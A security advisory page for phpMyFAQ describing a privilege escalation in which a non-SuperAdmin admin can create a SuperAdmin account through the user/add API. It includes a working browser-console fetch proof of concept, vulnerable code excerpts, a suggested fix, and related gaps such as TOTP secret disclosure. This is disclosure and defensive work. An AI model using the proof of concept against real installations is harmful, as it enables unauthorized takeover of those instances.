GHSA-R2F4-V277-HVW9
Privilege escalation in admin API: user/add lets a non-SuperAdmin admin create a SuperAdmin (incomplete fix of the GHSA-xvp4 / GHSA-985r authorization-hardening series)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-R2F4-V277-HVW9 divulgada · CVSS 8.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Overview
phpMyFAQ recently hardened its admin user-management API against privilege escalation: after the IDOR account-takeover GHSA-xvp4-phqj-cjr3 (and its incomplete-fix follow-ups GHSA-985r-q3qp-299h and GHSA-8c6h-7g6x-m5x4), the maintainers added an "only a SuperAdmin may grant the SuperAdmin flag / act on a SuperAdmin or protected account" guard to `editUser`, `updateUserRights`, `overwritePassword`, and `activate`. That guard was not applied to the sibling `user/add` endpoint. A delegated administrator who holds the ordinary user-management permission (USER_ADD/EDIT/DELETE) — but is not a SuperAdmin — can create a brand-new account with `isSuperAdmin: true` and an attacker-chosen password, then log in as that SuperAdmin, achieving full instance takeover.
Impact
A non-SuperAdmin "user administrator" (a role phpMyFAQ explicitly supports — the user-management permission is delegable to ordinary admins) can escalate to full SuperAdmin control:
- They call `POST /admin/api/user/add` with `isSuperAdmin: true` and a chosen `userName`/`password`.
- The endpoint creates the account with those credentials and sets `is_superadmin = 1`.
- They log in as the new account — now a SuperAdmin with full control of the phpMyFAQ instance (all users, configuration, content, backups, etc.).
This is the same end state as the original GHSA-xvp4 account-takeover, reached through the one user-mutating endpoint the hardening pass missed. Affected population: every phpMyFAQ instance that delegates user administration to any non-SuperAdmin account — the exact deployment model the SuperAdmin/admin split exists for.
`PR:L` (the attacker needs the delegated USER_ADD/EDIT/DELETE permission, strictly below SuperAdmin), `S:U` (escalation occurs within phpMyFAQ's single authorization authority — no scope/authority crossing), `C:H/I:H/A:H` (resulting SuperAdmin has complete read/write/availability control).
Technical Details
All references are to `phpmyfaq/src/phpMyFAQ/` at HEAD `04db2b999d8d`.
The vulnerable endpoint — `addUser` has no acting-SuperAdmin guard (`Controller/Administration/Api/UserController.php:352-424`):
#[Route(path: 'user/add', name: 'admin.api.user.add', methods: ['POST'])]
public function addUser(Request $request): JsonResponse
{
$this->userHasUserPermission(); // requires USER_ADD/EDIT/DELETE — NOT SuperAdmin
$data = json_decode($request->getContent());
if (!Token::getInstance($this->session)->verifyToken(page: 'add-user', requestToken: $data->csrf)) { ... }
...
$userPassword = Filter::filterVar($data->password, FILTER_SANITIZE_SPECIAL_CHARS); // attacker-chosen
$userIsSuperAdmin = Filter::filterVar($data->isSuperAdmin, FILTER_VALIDATE_BOOLEAN); // attacker-controlled, L370
// ... validation of login/email/password, no SuperAdmin gate ...
...
// NO check that the acting user is a SuperAdmin before honoring isSuperAdmin
if ($errorMessage === []) {
$newUser->createUser($userName, $userPassword); // account with attacker-chosen login + password
$newUser->userdata->set([...]);
$newUser->setStatus(status: 'active');
$newUser->setSuperAdmin((bool) $userIsSuperAdmin); // L409 -> raw UPDATE faquser SET is_superadmin=1
...
}
}`setSuperAdmin` (`User.php:1034-1046`) performs `UPDATE faquser SET is_superadmin = %d WHERE user_id = %d` with no caller authorization check.
The fixed sibling — `editUser` DOES have the guard (`UserController.php:457-476`):
$actingIsSuperAdmin = $this->currentUser->isSuperAdmin();
// Only SuperAdmins may grant or revoke the SuperAdmin flag. Reject the request when a
// non-SuperAdmin attempts to set it, to prevent privilege escalation through
// mass-assignment of is_superadmin.
if (!$actingIsSuperAdmin && (bool) $isSuperAdmin) {
return $this->json(['error' => Translation::get(key: 'msgNoPermission')], Response::HTTP_FORBIDDEN);
}
...
// Defense in depth: a non-SuperAdmin must never alter a SuperAdmin or protected account.
if (!$actingIsSuperAdmin && ($user->isSuperAdmin() || $user->getStatus() === 'protected')) { ... 403 }The identical guard is present in `updateUserRights` (`:558-579`), `overwritePassword` (`:264-285`) and `activate` (`:210-222`). It is absent in `addUser`. The permission gate `userHasUserPermission()` (`Controller/AbstractController.php:307-321`) only requires `PermissionType::USER_ADD` + `USER_EDIT` + `USER_DELETE`, none of which implies SuperAdmin, and no base controller / route attribute adds a SuperAdmin gate. This is therefore an authorization omission: the enforcer the maintainers already wrote for this exact class (mass-assignment of `is_superadmin`) is simply not wired into the create path.
Corroborating evidence (regression-test asymmetry): `tests/.../UserControllerTest.php` contains dedicated regression tests `testEditUserNonSuperAdminCannotGrantSuperAdminFlag` and `testUpdateRightsNonSuperAdminCannotGrantRightTheyDoNotHold`, but its `addUser` tests all use `isSuperAdmin => false` — there is no test asserting a non-SuperAdmin cannot create a SuperAdmin via `addUser`. The hardening pattern and its regression coverage were applied to the siblings but not to `addUser`.
Related sibling gaps found in the same audit (the maintainer should fix these together; not the subject of this advisory's CVSS):
- `GroupController::updatePermissions` (`Controller/Administration/GroupController.php:308-349`, sink `grantGroupRight` `:329`): gated only by `userHasPermission(GROUP_EDIT)` + CSRF; unlike `updateUserRights`, it does not constrain the acting user to rights they themselves hold, so a GROUP_EDIT admin can grant a group any right (privilege escalation). High.
- `GET user/data/{userId}` (`UserController.php:152-176`) and `GET user/permissions/{userId}` (`:181-191`): gated only by `userHasUserPermission()` with no target-SuperAdmin/protected check, so a delegated admin can read any user's (including SuperAdmin userId=1) full `faquserdata` row — which includes the plaintext TOTP `secret` (`UserData::get('*')`), enabling 2FA bypass. Medium (sensitive-data IDOR).
Reproduction
phpMyFAQ is a self-hosted PHP web app; reproduce on your own test instance. Set up phpMyFAQ at HEAD, create a non-SuperAdmin account granted the user-administration permission (USER_ADD/EDIT/DELETE), and log in as that account in a browser. The boundary failure is proven by the request below; logging in as the created account is the (reversible, own-instance) escalation step.
Open DevTools (F12) -> Console as the logged-in delegated (non-SuperAdmin) admin and paste:
// Run in the delegated (non-SuperAdmin) admin's browser console on the phpMyFAQ admin UI.
// Obtain the add-user CSRF token the UI already exposes to this admin (the Users page).
const csrf = document.querySelector('[name="csrf"], #csrf, input[name="add-user"]')?.value
|| window.PMF_CSRF_ADD_USER; // fall back to the token rendered on the add-user form
fetch("/admin/api/user/add", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
csrf,
userName: "evil_superadmin",
realName: "Evil SA",
email: "evil@example.test",
automaticPassword: false,
password: "Sup3rSecret!42",
passwordConfirm: "Sup3rSecret!42",
isSuperAdmin: true, // <-- honored even though the caller is NOT a SuperAdmin
}),
})
.then((r) => r.json())
.then(console.log); // expected: {"success": "..."} (HTTP 200) — NOT 403Expected result: the request returns `{"success": …}` (HTTP 200), not `403 msgNoPermission`. Then verify `SELECT is_superadmin FROM faquser WHERE login='evil_superadmin'` returns `1`, and log in as `evil_superadmin` / `Sup3rSecret!42` to confirm full SuperAdmin access. (Against `editUser` the same `isSuperAdmin: true` from this account returns `403`, demonstrating the missing guard is specific to `addUser`.)
End-to-end (source) verification
This is an authorization-omission finding; per the source trace the gap is open at HEAD and reaches the privilege sink with no intervening check:
- Endpoint reached by a non-SuperAdmin: `addUser` gate is `userHasUserPermission()` (`AbstractController.php:307-321`) = USER_ADD/EDIT/DELETE only; confirmed not to require SuperAdmin.
- Attacker controls the escalation inputs: `isSuperAdmin` (`UserController.php:370`, `FILTER_VALIDATE_BOOLEAN` on the request body) and the new account's `userName`/`password` (`:369`, `:409` `createUser`).
- Missing control: none of the four guards present in the sibling `editUser`/`updateUserRights`/`overwritePassword`/`activate` handlers (acting-SuperAdmin check on `isSuperAdmin`; target-SuperAdmin/protected check) exists in `addUser` — verified by reading all five handlers at HEAD.
- Sink: `setSuperAdmin((bool)$userIsSuperAdmin)` -> `User.php:1037` `UPDATE faquser SET is_superadmin = 1 WHERE user_id = <new id>`. The attacker then authenticates with the credentials they supplied. No base controller, route attribute, or model method re-checks the caller's privilege.
Suggested Fix
Apply the same guard `addUser` is missing, before honoring `isSuperAdmin`:
if (!$this->currentUser->isSuperAdmin() && (bool) $userIsSuperAdmin) {
return $this->json(['error' => Translation::get(key: 'msgNoPermission')], Response::HTTP_FORBIDDEN);
}More robustly, centralize the "only a SuperAdmin may grant the SuperAdmin flag" rule so it cannot be forgotten on a new endpoint (e.g. enforce it inside `User::setSuperAdmin()` against the acting user, or in a shared admin-API guard), and audit the whole `Controller/Administration/Api/**` surface for the same control — in particular the related sibling gaps noted above (`GroupController::updatePermissions` self-rights constraint; the `user/data` / `user/permissions` target-authorization on read, which currently discloses the SuperAdmin TOTP secret). Add regression tests mirroring `testEditUserNonSuperAdminCannotGrantSuperAdminFlag` for `addUser` and the group-permission path.
Disclosure Timeline
- 2026-05-30: Discovered while auditing the completeness of the GHSA-xvp4 / GHSA-985r / GHSA-8c6h admin-API authorization-hardening series at `main` HEAD `04db2b999d8d`. The acting-SuperAdmin guard added to `editUser`/`updateUserRights`/`overwritePassword`/`activate` was confirmed absent on the `addUser` sibling by reading all handlers + the permission gate + the `setSuperAdmin` sink.
- 2026-05-30: Drafted for submission via GitHub Security Advisory.
References
- Hardening series this incompletely fixes: GHSA-xvp4-phqj-cjr3 (IDOR Account Takeover, `overwritePassword`), GHSA-985r-q3qp-299h ("incomplete fix for GHSA-xvp4"), GHSA-8c6h-7g6x-m5x4 ("incomplete fix for CVE-2026-24421: Missing userHasPermission").
- Affected source: `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php:352-424` (`addUser`, sink `setSuperAdmin` at `:409`); fixed sibling `editUser` (method `:430-525`, acting-SuperAdmin guard at `:457-473`); `Controller/AbstractController.php:307-321` (`userHasUserPermission`, the only gate — `USER_ADD`/`USER_EDIT`/`USER_DELETE` action permissions); `phpmyfaq/src/phpMyFAQ/User.php:1034-1046` (`setSuperAdmin` sink).
- Related sibling gaps (same audit): `Controller/Administration/GroupController.php:309-349` (`updatePermissions`, missing self-rights constraint — companion advisory).
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistphpmyfaq/phpmyfaq |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-r2f4-v277-hvw9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
